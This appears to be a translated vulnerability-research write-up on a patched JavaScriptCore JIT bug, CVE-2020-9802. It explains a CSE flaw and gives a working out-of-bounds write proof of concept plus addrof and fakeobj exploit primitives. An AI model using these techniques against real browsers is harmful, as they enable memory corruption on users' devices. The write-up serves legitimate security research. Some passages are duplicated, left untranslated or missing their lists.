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本文重点介绍在现代web浏览器中挖掘和利用JavaScript引擎漏洞过程中所面临的各种技术挑战，并对当前的漏洞利用缓解措施进行评估。本文涉及的漏洞CVE-2020-9802，该漏洞已经在iOS 13.5中得到了修复；而针对该漏洞缓解措施的绕过漏洞CVE-2020-9870和CVE-2020-9910，也已经在iOS 13.6中得到了相应的修复。

由于WebKit浏览器（在iOS系统和ARM引擎的macOS系统上）具有目前最高级的漏洞利用缓解措施，包括PAC和APRR等基于硬件的缓解措施，因此，WebKit自然而然就成为了首选研究对象，更准确的说，应该是它所使用的JavaScript引擎：JavaScriptCore（JSC）。

由于目前网上已经存在大量关于JIT编译器的优秀文章，因此，本节只对JavaScript JIT进行简单介绍和回顾。

在这里，我们将以下面简单的JavaScript代码为例进行介绍。

function foo(o, y) {

    let x = o.x;

    return x + y;

}

for (let i = 0; i < 10000; i++) {

    foo({x: i}, 42);

}

由于JIT编译的开销非常大，通常只对重复执行的代码进行编译处理。因此，函数foo将在解释器（或经济型“基准”JIT）中执行一段时间。在这段时间内，会收集相关的配置文件数据。对于foo函数来说，对于其中的数据可能做出以下推断：

之后，当优化JIT编译器最终启动时，首先将JavaScript源代码（或者，更可能是解释器字节码）翻译成JIT编译器自己的中间代码。对于DFG来说，JavaScriptCore的优化JIT编译器的工作是由DFGByteCodeParser完成的。

DFG IR中的函数foo最初可能看起来像这样：

v0 = GetById o, .x

v1 = ValueAdd v0, y

Return v1

在这里，GetById和ValueAdd是两种非常通用的（或者说是高级别的）操作，能够处理不同的输入类型（比如，ValueAdd操作也能用于连接字符串）。

接下来，JIT编译器会检查配置文件，并据此推测未来将继续使用相同的输入类型。就这里来说，它会做出以下推断：o的类型将一直是某种JSObject，而x和y的类型则一直为Int32。然而，由于无法保证这些推测始终是正确的，编译器必须对这些推测进行“维护”，通常的做法是采用运行时类型检查，因为这种检查的开销较小。

CheckType o, “Object with property .x at offset 16”

CheckType y, Int32

v0 = GetByOffset o, 16

CheckType v0, Int32

v1 = ArithAdd v0, y

Return v1

同时也要注意GetById和ValueAdd是如何被转化为更高效（但不那么通用）的GetByOffset和ArithAdd操作的。在DFG中，这种推测性优化会发生在许多地方，例如，前面讲到的DFGByteCodeParser中。同时也要注意GetById和ValueAdd是如何被特化为更高效（但不那么通用）的GetByOffset和ArithAdd操作的。在DFG中，这种推测性优化会发生在许多地方，例如，前面讲到的DFGByteCodeParser中。

此时，IR代码中的数据实际上都被赋予了特定的类型，因为在推测维护机制的帮助下，是允许对类型进行推断的。接下来，会对代码进行各种优化，比如循环展开或常量合并等。关于DFG所做的优化工作的概述信息，大家可以从DFGPlan中提取出来。

最后，优化后的IR被翻译成机器代码。在DFG中，这是由DFGSpeculativeJIT直接完成的，而在FTL模式下，DFG的IR首先被翻译成另一种IR，即B3；而B3在经过进一步的优化后，才会被编译成机器代码。接下来，我们将讨论一种具体的优化技术：公共子表达式消除（CSE）。

这种优化技术的思想是：找出重复的计算（或表达式），并将它们合并成单个计算。接下来，我们以下面的JavaScript代码为例进行介绍。

    let c = Math.sqrt(a*a + a*a);

Assume further that a and b are known to be primitive values (e.g. Numbers), then a JavaScript JIT compiler can convert the code to the following:

如果我们假设a和b为基本数值类型，那么JavaScript JIT编译器可以将上述代码转换为：

   let tmp = a*a;

   let c = Math.sqrt(tmp + tmp);

这样做可以在运行时可以少执行一次ArithMul操作。这种优化方法称为公用子表达式消除（CSE）。

现在，考虑以下JavaScript代码：

 let c = o.a;

 f();

 let d = o.a;

在这里，编译器不会在进行CSE优化时消除第二个属性加载操作，因为在这两个操作之间的函数调用可能会改变属性.a的值。

对于JSC来说，某操作是否可以（以及在什么情况下可以）进行CSE优化是由DFGClobberize决定的。对于ArithMul，DFGClobberize给出的结果是：

   case ArithMul:

        switch (node->binaryUseKind()) {

        case Int32Use:

        case Int52RepUse:

        case DoubleRepUse:

            def(PureValue(node, node->arithMode()));

            return;

        case UntypedUse:

            clobberTop();

            return;

        default:

            DFG_CRASH(graph, node, "Bad use kind");

        }

其中，PureValue的def()表明，该计算不依赖任何上下文，因此，在给定相同输入的情况下，总会得到相同的结果。但是，请注意，PureValue是由该操作的ArithMode来参数化的，它规定了该操作是否应处理整数溢出（例如，通过向解释器求助）。在这种情况下，参数化可防止对整数溢出进行不同处理的两个ArithMul操作被相互替换。处理溢出的操作通常也称为“检查溢出问题的”操作，而“不检查溢出问题的”操作是不会检测或处理溢出问题的。

相反，对于GetByOffset（可用于属性加载），DFGClobberize则包含：

  case GetByOffset:

       unsigned identifierNumber = node->storageAccessData().identifierNumber;

       AbstractHeap heap(NamedProperties, identifierNumber);

       read(heap);

       def(HeapLocation(NamedPropertyLoc, heap, node->child2()), LazyNode(node));

这实质上就是说，这个操作产生的值取决于NamedProperty“抽象堆”。因此，只有在两个GetByOffset操作之间没有对NamedProperties抽象堆（即存放属性值的内存空间）执行写操作时，消除第二个GetByOffset才是合理的。

实际上，DFGClobberize并没有将ArithNegate操作的ArithMode考虑在内：

case ArithNegate:

   if (node->child1().useKind() == Int32Use || ...)

            def(PureValue(node));          // <- only the input matters, not the ArithMode

这可能会导致CSE用一个不检查溢出问题的ArithNegate操作来代替检查溢出问题的ArithNegate操作。对于ArithNegate(32位整数求反)操作来说，整数溢出只可能发生在下述特定情况下：对INT_MIN：-2147483648求反时。这是因为2147483648无法表示为32位有符号整数，因此-INTMIN会导致整数溢出，并再次得到INTMIN。

通过研究DFGClobberize中CSE的定义，思考为什么某些PureValue(以及哪些PureValue)需要使用ArithMode进行参数化，然后搜索缺少该参数化的情况，就能找到这种类型的溢出漏洞。

其实，该漏洞的修复方法也非常简单：

-            def(PureValue(node));

+            def(PureValue(node, node->arithMode()));

实际上，这就是让CSE将ArithNegate操作的arithMode（溢出检查模式和溢出非检查模式）考虑在内。这样，具有不同模式的两个ArithNegate操作将不允许相互替换。

除了ArithNegate，DFGClobberize也疏忽了ArithAbs操作的ArithMode。

请注意，这种类型的漏洞很难通过模糊测试检测出来，因为：

下面显示的JavaScript函数，将利用上述漏洞，通过一个任意索引（在本例中为7）实现对JSArray的越界访问：

function hax(arr, n) {

    n |= 0;

    if (n < 0) {

        let v = (-n)|0;

        let i = Math.abs(n);

        if (i < arr.length) {

            if (i & 0x80000000) {

                i += -0x7ffffff9;

            }

            if (i > 0) {

                arr[i] = 1.04380972981885e-310;

            }

        }

    }

} 

接下来，我们逐步介绍如何构建该漏洞的PoC。在本节的末尾，还将提供上述函数的注释版本。

首先，ArithNegate仅用于对整数求反（更通用的ValueNegate操作可以对所有JavaScript值求反），但在JavaScript规范中，数字通常是浮点值。因此，有必要向编译器“指出”输入值始终为整数。这很容易实现，方法是首先执行逐位运算，这样得到的总是32位有符号整数值：

    n = n|0;  // n will be an integer value now

这样，我们就可以构造一个不会对溢出问题进行检查的算术运算（以后将使用该运算对检查溢出问题的算术运算进行CSE处理）：

    n = n|0;

    let v = (-n)|0;

就本例来说，在DFGFixupPhase期间，n的求反操作将被转换为不会对溢出问题进行检查的ArithNeg操作。编译器将忽略溢出检查，因为这里进行求反的值的唯一用途是按位或运算，该运算对于溢出的值和“正确的”值的结果是一样的：

js> -2147483648 | 0

-2147483648

js> 2147483648 | 0

-2147483648

接下来，需要构造一个以n为输入并且检查溢出问题的算术运算。获得算术运算的一个有趣的方法是让编译器将一个ArithAbs操作强度折减（Strength reduction）为一个ArithNegate操作。只有当编译器能够证明n是负数时，才会出现这种情况。不过，实现这一点并非难事，因为DFG的IntegerRangeOptimization过程是路径敏感的：

n = n|0;

if (n < 0) {

    // Compiler knows that n will be a negative integer here

    let v = (-n)|0;

    let i = Math.abs(n);

}

在字节码解析过程中，对Math.abs的调用会先简化为ArithAbs操作，因为编译器能够证明该调用总是会导致mathAbs函数的执行，所以不妨用ArithAbs操作作为代替，因为该操作不仅具有相同的运行时语义，同时还无需在运行时调用函数。编译器实质上就是这样内联Math.abs的。之后，IntegerRangeOptimization过程会将ArithAbs转换为一个检查溢出问题的ArithNegate（ArithNegate必须检查溢出，因为n没有将INT_MIN排除在外）。这样一来，if语句里面的两个语句实质上就变成了下面的样子（DFG IR伪代码）：

v = ArithNeg(unchecked) n

i = ArithNeg(checked) n

其中，由于漏洞的缘故，经过CSE优化以后上述代码将变成：

v = ArithNeg(unchecked) n

i = v

此时，如果用INT_MIN作为变量n的取值来调用误编译的函数，会导致变量i的值也变成INT_MIN，尽管它本应是一个正数。

到目前为止，这只是一个正确性问题，还算不上安全问题。把这个bug变成安全问题的一个（也可能是唯一的）方法是滥用一个已经在安全研究人员中广为人知的JIT优化：边界检查消除优化技术。

回到IntegerRangeOptimization过程，i的值已经被标记为正数。然而，要想发生边界检查消除，还必须确定该值小于被索引的数组的长度。这很容易实现。

function hax(arr, n) {

  n = n|0;

  if (n < 0) {

    let v = (-n)|0;

    let i = Math.abs(n);

    if (i < arr.length) {

        arr[i];

    }

  }

}

如果现在触发该漏洞，i的值将是INT_MIN，因此，这里将进行相应的比较并执行数组访问。然而，由于IntegerRangeOptimization错误地（尽管技术上将并不是它的错）将i确定为始终在边界内，因此边界检查将被移除。

在触发该漏洞之前，必须设法让JavaScript代码完成JIT编译。为此，只需重复执行代码达到一定次数即可。然而，对于arr的索引访问只会被（SSALoweringPhase）降级为CheckInBounds（稍后将被消除）；只有当访问被推测为在边界内时，才会降级为不进行边界检查的GetByVal操作。如果在基线JIT的解释或执行过程中经常观察到访问是越界的，则不会出现这种情况。因此，在对函数进行“训练”的过程中，有必要使用合理的、位于边界内的索引。

    for (let i = 1; i <= ITERATIONS; i++) {

        let n = -4;

        if (i == ITERATIONS) {

            n = -2147483648;        // INT_MIN

        }

        hax(arr, n);

    }

在JSC中运行这段代码时，将会发生崩溃：

lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js

   (lldb) r

   Process 12237 stopped

   * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1c1fc61348)

       frame #0: 0x000051fcfaa06f2e

   ->  0x51fcfaa06f2e: movsd  xmm0, qword ptr [rax + 8*rcx] ; xmm0 = mem[0],zero

   Target 0: (jsc) stopped.

   (lldb) reg read rcx

        rcx = 0x0000000080000000

然而，这里的不便之处在于，越界索引（在rcx中）总是INT_MIN，因此，这里会访问数组后的0x80000000 * 8 = 16GB处的内存空间。尽管这个越界漏洞可以被利用，但绝不是一个最佳的利用原语。

实现具有任意索引的OOB访问的终极招式是从i中减去一个常数，该常数会将INT_MIN变为任意正数。由于i被（DFG编译器）认为始终为正，因此，减法操作无需检查溢出问题，因此，即使发生溢出，也不会引起注意。

但是，由于减法会使有关下限的整数范围信息无效，因此之后需要执行额外的“if i > 0”检查，以再次触发边界检查消除优化。此外，由于减法会将训练过程中使用的整数转换为越界索引，因此只有在输入值为负时才有条件执行该减法。幸运的是，DFG编译器还不是太聪明，无法确定该条件永远不成立，在这种情况下，它会减法运算进行全面优化！

下面显示的还是原来的函数，不同之处在于，这里加了相关的注释。当经过了JIT编译且令n取值为INT_MIN时，将导致将受控的数值（0x0000133700001337）越界写入到内存中arr后面的JSArray的长度字段中。请注意，这一步的成功取决于正确的堆布局。但是，由于该漏洞非常强大，足以用于进行受控的OOB读取操作，因此可以在触发内存损坏之前确保存在正确的堆布局。

function hax(arr, n) {

    // Force n to be a 32bit integer.

    n |= 0;

    // Let IntegerRangeOptimization know that 

    // n will be a negative number inside the body.

    if (n < 0) {

        // Force "non-number bytecode usage" so the negation 

        // becomes unchecked and as such INT_MIN will again

        // become INT_MIN in the last iteration.

        let v = (-n)|0;

        // As n is known to be negative here, this ArithAbs 

        // will become a ArithNegate. That negation will be 

        // checked, but then be CSE'd for the previous, 

        // unchecked one. This is the compiler bug.

        let i = Math.abs(n);

        // However, IntegerRangeOptimization has also marked 

        // i as being >= 0...

        if (i < arr.length) {

            // .. so here IntegerRangeOptimization now believes 

            // i will be in the range [0, arr.length) while i 

            // will actually be INT_MIN in the final iteration.

            // This condition is written this way so integer 

            // range optimization isn't able to propagate range 

            // information (in particular that i must be a 

            // negative integer) into the body.

            if (i & 0x80000000) {

                // In the last iteration, this will turn INT_MIN 

                // into an arbitrary, positive number since the

                // ArithAdd has been made unchecked by integer range

                // optimization (as it believes i to be a positive

                // number) and so doesn't bail out when overflowing

                // int32.

                i += -0x7ffffff9;

            }

            // This conditional branch is now necessary due to 

            // the subtraction above. Otherwise, 

            // IntegerRangeOptimization couldn’t prove that i 

            // was always positive.

            if (i > 0) {

                // In here, IntegerRangeOptimization again believes

                // i to be in the range [0, arr.length) and thus

                // eliminates the CheckBounds node, leading to a 

                // controlled OOB access. This write will then corrupt

                // the header of the following JSArray, setting its

                // length and capacity to 0x1337.

                arr[i] = 1.04380972981885e-310;

            }

        }

    }

}

此时，我们可以构建两个低级漏洞利用原语addrof和fakeobj。其中，addrof(Obj)原语用于返回给定JavaScript对象在内存中的地址（以双精度浮点数存储）：

    let obj = {a: 42};

    let addr = addrof(obj);

    // 2.211548541e-314 (0x000000010acdc250 as 64bit integer)

    let obj2 = fakeobj(addr);

    obj2 === obj;

    // true

除此之外，我们也可以使用两个具有不同存储类型的JSArray来实现这两个原语。具体来说，就是通过将存储（未经装箱处理的/原始的）双精度值的JSArray与存储JSValues（经过装箱处理的/标记值，例如指向JSObjects的指针）的JSArray重叠在一起来实现上述原语：

这样的话，就可以通过float_arr，像读写双精度浮点数那样来读写obj_arr中的指针值了：

    let noCoW = 13.37;

    let target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];

    let float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];

    let obj_arr = [{}, {}, {}, {}, {}, {}, {}];

    // Trigger the bug to write past the end of the target array and

    // thus corrupting the length of the float_arr following it

    hax(target, n);

    assert(float_arr.length == 0x1337);

    // (OOB) index into float_arr that overlaps with the first element    

    // of obj_arr.

    const OVERLAP_IDX = 8;

    function addrof(obj) {

        obj_arr[0] = obj;

        return float_arr[OVERLAP_IDX];

    }

    function fakeobj(addr) {

        float_arr[OVERLAP_IDX] = addr;

        return obj_arr[0];

    }

变量noCoW的用途有些不太直观：用来防止JSC将数组分配为写后复制数组，否则会导致错误的堆布局。

这是一个“非标准”JIT编译器bug的演练。请记住，与这种类型的漏洞相比，有大量其他类型的（JIT）漏洞更容易被利用；另一方面，事实上，该漏洞的利用方法（到此为止）还没有进行详细介绍，因为本文的大部分篇幅都是在回顾JSC和JIT编译器的内部结构。